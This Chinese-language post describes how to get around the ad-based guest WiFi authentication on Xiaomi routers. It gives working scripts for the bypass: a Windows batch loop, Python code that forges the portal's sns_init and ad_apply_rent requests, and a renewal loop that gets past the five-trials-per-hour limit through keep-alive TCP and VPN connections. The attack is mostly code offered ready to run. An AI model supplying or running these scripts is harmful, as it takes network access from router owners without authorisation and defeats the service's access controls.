小米路由器的共享wifi认证域名是guest.miwifi.com,小米路由器后,小米共享wifi是默认开启的,很多人不会设置路由器导致没有将小米共享wifi关闭,所以就会存在一些的漏洞安全问题。
针对小米共享wifi的认证系统进行了抓包分析,并根据认证方式寻找到绕过方法,使得可以达到无限上网的目的。
因为小米共享wifi存在看广告3分钟体验上网的模式,但这个模式在一小时内只能使用5次,而实践发现如果在这三分钟内一直保持一个tcp连接,那么这个网络就不会断开。
那么又存在了一个问题,虽然网络不会断开,但是会让只有这个TCP连接有效,而其他的连接照样会断开。
故连接一个V-P.N便能解决这个问题。只需要连接了V-P.N后再保持一个TCP连接,那么V-P.N的连接也会保持。
由此得出如下脚本,这个脚本可以自动连接共享wifi并认证,也具有断线自动重连的功能。
@echo off :restart rasdial /disconnect //断开现有V-P.N连接 netsh wlan disconnect //断开现有WLAN连接 ping 127.0.0.1 -n 2 >nul //延时1秒 netsh wlan connect name="WIFI" //连接无限网络名为WIFI ping 127.0.0.1 -n 10 >nul //延时9秒让网络进行初始化 python link.py //python脚本写的认证程序 ping 127.0.0.1 -n 2 >nul //延时1秒 rasdial v-p.n名 用户名 密码 //连接V-P.N python keep.py // python脚本写的创建TCP长连接 goto restart //自动断线重连 link.py # coding=utf-8 import requests import time import datetime print("正在启动认证程序") response0 = requests.get("http://guest.miwifi.com:8999/cgi-bin/luci/api/misns/sns_init") deviceid=response0.text[26:62] clientinfo=response0.text[78:142] times=(int(round(time.time() * 1000))-2000) url1="http://api.miwifi.com/guest_wifi/portal_config?callback=jQuery210032440425060714295_"+str(times)+"&did="+deviceid+"&client_info="+clientinfo+"&_="+str(times+2) url3="http://api.miwifi.com/wifirent/api/ad_apply_rent?callback=jsonpCallback&router_id="+deviceid+"&client_info="+clientinfo+"&_="+str(times+8) response1 = requests.get(url1) response3 = requests.get(url3) code=response3.text.find("0") if code >= 0: print("认证成功,等待连接V-P.N") else: print("失败,请重启连接程序") keep.py import requests import time client=requests.session() print("正在保持连接!请勿关闭") headers = {'Content-Type': 'application/json', 'Connection': 'keep-alive'} while 1: url="http://www.baidu.com" r=client.get(url,headers=headers) if r.status_code == 200: print ("当前时间为:"+time.strftime("%H:%M:%S", time.localtime())) time.sleep(1)
这样就写出了一个会一键自动连接小米共享wifi,并且会断线重连的脚本了
小米共享WIFI脚本
import requests import time import datetime import re def now_time(): return datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d %H:%M:%S') res1 = requests.get('http://guest.miwifi.com:8999/cgi-bin/luci/api/misns/sns_init') device_id = re.findall('"deviceid":"(.*?)"', res1.text)[0] client_info = re.findall('"clientinfo":"(.*?)"', res1.text)[0] params = { 'router_id': device_id, 'client_info': client_info, '_': str(int(time.time() * 1000)) } while True: res = requests.get('http://api.miwifi.com/wifirent/api/ad_apply_rent?callback=jsonpCallback', params=params) print(res.text) if '{"code":0,"msg":""}' in res.text: if '百度一下' in requests.get('http://www.baidu.com').text: print('[%s] 续租成功' % now_time()) time.sleep(60 * 3) else: print('[%s] 无网络连接,重新尝试...' % now_time()) else: print('[%s] 验证失败,重新尝试...' % now_time())